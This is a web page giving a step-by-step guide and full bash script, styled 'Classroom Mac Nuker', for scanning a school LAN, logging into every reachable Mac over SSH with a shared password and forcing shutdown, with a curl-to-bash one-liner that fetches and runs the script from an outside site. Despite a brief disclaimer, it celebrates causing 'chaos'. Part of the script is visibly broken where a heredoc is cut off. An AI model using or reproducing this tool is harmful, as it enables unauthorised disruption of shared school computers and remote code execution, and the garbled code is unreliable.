πŸŸβ™€ ο½π“žΡ‚π€tα΅’ 🐟🎁
Classroom Mac Nuker – Step‑by‑Step Guide

⚠️ RESPONSIBILITY WARNING
This guide is provided for educational purposes and controlled lab environments. Using it to disrupt school systems without permission is unethical and may violate policies. You are accountable for your actions. Proceed only if you have explicit approval or are testing in a sandbox.

πŸš€ RUN FROM URL (ONE‑LINER)

Quickest way: copy and paste this single command into your Terminal. It will download and execute the script directly β€” no file creation needed.

bash <(curl -s https://macshutdown.pages.dev/killallmacs.sh)

    

πŸ’‘ Tip: You'll still be prompted for the shared password. The script runs with your current user credentials.

πŸ“Œ Prerequisite: The script killallmacs.sh must be hosted at the same URL. If you haven't uploaded it yet, follow the Step 2 below to create the script file, then upload it to your site root.

πŸ“‹ PREREQUISITES
βœ… All target Macs must have Remote Login (SSH) enabled.
βœ… You must know the shared username (same on all machines) and its password.
βœ… Your Mac must be on the same LAN subnet (e.g., 192.168.1.x).
βœ… expect is installed by default on macOS – no extra setup needed.
βœ… Terminal access (you'll run commands).

πŸ“– Step 1 – Open Terminal

On your Mac, open Terminal.app (Applications β†’ Utilities β†’ Terminal).
You'll see a command prompt like yourname@YourMac ~ %.

πŸ“– Step 2 – Create the Script (for manual use or hosting)

Create a new file named killallmacs.sh using any text editor or nano.
In Terminal, type:
nano ~/killallmacs.sh
Then copy the entire script below and paste it into the editor.
#!/bin/bash
# ==============================================================
# MAC CLASSROOM NUKER v2.0 – Potato Edition
# Uses SSH + osascript (no sudo) to force shutdown all LAN Macs
# ==============================================================

# --- Colors for output ---
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# --- Get current user and local IP ---
USERNAME=$(whoami)
LOCAL_IP=$(ipconfig getifaddr en0 2>/dev/null || ipconfig getifaddr en1 2>/dev/null)
if [ -z "$LOCAL_IP" ]; then
    echo -e "${RED}ERROR: Could not detect active network interface.${NC}"
    echo "Make sure you're on Ethernet/Wi-Fi and try again."
    exit 1
fi

# Extract subnet (first three octets)
SUBNET=$(echo "$LOCAL_IP" | cut -d. -f1-3)
echo -e "${CYAN}[*] Local IP: $LOCAL_IP${NC}"
echo -e "${CYAN}[*] Target subnet: $SUBNET.0/24${NC}"

# --- Ask for the shared password (will be used for all SSH logins) ---
echo -e "${YELLOW}Enter the shared password for user '$USERNAME' on all Macs:${NC}"
read -s PASSWORD
echo

# --- Ping sweep to find alive hosts ---
echo -e "${YELLOW}[*] Scanning for alive hosts (this may take 15-30 seconds)...${NC}"
ALIVE_IPS=()
for i in {1..254}; do
    IP="$SUBNET.$i"
    if [ "$IP" = "$LOCAL_IP" ]; then
        continue   # skip ourselves
    fi
    # Quick ping with 1 second timeout
    ping -c 1 -W 1 "$IP" &>/dev/null
    if [ $? -eq 0 ]; then
        ALIVE_IPS+=("$IP")
        echo -e "${GREEN}[+] $IP is alive${NC}"
    fi
done

if [ ${#ALIVE_IPS[@]} -eq 0 ]; then
    echo -e "${RED}[!] No alive hosts found. Aborting.${NC}"
    exit 0
fi
echo -e "${CYAN}[*] Found ${#ALIVE_IPS[@]} alive host(s).${NC}"

# --- Create an expect script on the fly to handle SSH password ---
EXPECT_SCRIPT=$(mktemp)
cat > "$EXPECT_SCRIPT" </tmp/expect_output_$$.txt
    if grep -q "Shut Down" /tmp/expect_output_$$.txt || grep -q "System Events" /tmp/expect_output_$$.txt; then
        if grep -q "not allowed" /tmp/expect_output_$$.txt || grep -q "denied" /tmp/expect_output_$$.txt; then
            echo -e "${RED}FAIL (permission denied)${NC}"
            ((FAIL++))
        else
            echo -e "${GREEN}SUCCESS${NC}"
            ((SUCCESS++))
        fi
    else
        echo -e "${GREEN}SUCCESS (likely)${NC}"
        ((SUCCESS++))
    fi
    rm -f /tmp/expect_output_$$.txt
done

rm -f "$EXPECT_SCRIPT"

# --- Final report ---
echo -e "\n${CYAN}========== SHUTDOWN REPORT ==========${NC}"
echo -e "Total targets: ${#ALIVE_IPS[@]}"
echo -e "${GREEN}Success: $SUCCESS${NC}"
echo -e "${RED}Failed: $FAIL${NC}"
echo -e "${CYAN}=====================================${NC}"

if [ $FAIL -gt 0 ]; then
    echo -e "${YELLOW}HINT: Failures usually mean SSH is disabled or password is wrong.${NC}"
    echo "To check if SSH is enabled on a target, try: ssh -o ConnectTimeout=5 user@target_ip"
    echo "If you get 'Connection refused', then Remote Login is OFF."
fi


Save the file: In nano, press Ctrl+O (Enter), then Ctrl+X to exit.

πŸ“– Step 3 – Make it Executable

In Terminal, run:
chmod +x ~/killallmacs.sh

πŸ“– Step 4 – Run the Script

Option A – Manual run:
./killallmacs.sh
Option B – Run from URL (if you uploaded the script):
bash <(curl -s https://macshutdown.pages.dev/killallmacs.sh)
You will be prompted for the shared password (it won't show as you type).
After entering it, the script will scan the network, find alive Macs, and send the shutdown command via SSH.

πŸ“– Step 5 – Watch the Chaos

The script will display each IP it tries and the outcome. Within seconds, every Mac in the classroom that has SSH enabled and the correct password will begin shutting down.

πŸ›  Troubleshooting Common Errors

❌ "Connection refused" – Remote Login (SSH) is disabled on the target. You cannot fix this without enabling it (requires admin privileges).
❌ "Permission denied" – The password you entered is incorrect or the user account does not have permission to run osascript (very rare).
❌ No alive hosts found – You may be on a different subnet (check your IP with ifconfig). Ensure you're on the same LAN.
❌ Script hangs – Press Ctrl+C to abort. The ping sweep takes ~15–30 seconds; wait patiently.
πŸ’‘ If you need to test SSH manually on one IP before running the script, use:
ssh -o ConnectTimeout=5 student@192.168.1.42
Replace student with the actual username and the IP with a target.

πŸ“¦ Quick Copy – The Entire Script

You can also copy the full script directly from the block above (click the πŸ“‹ Copy button).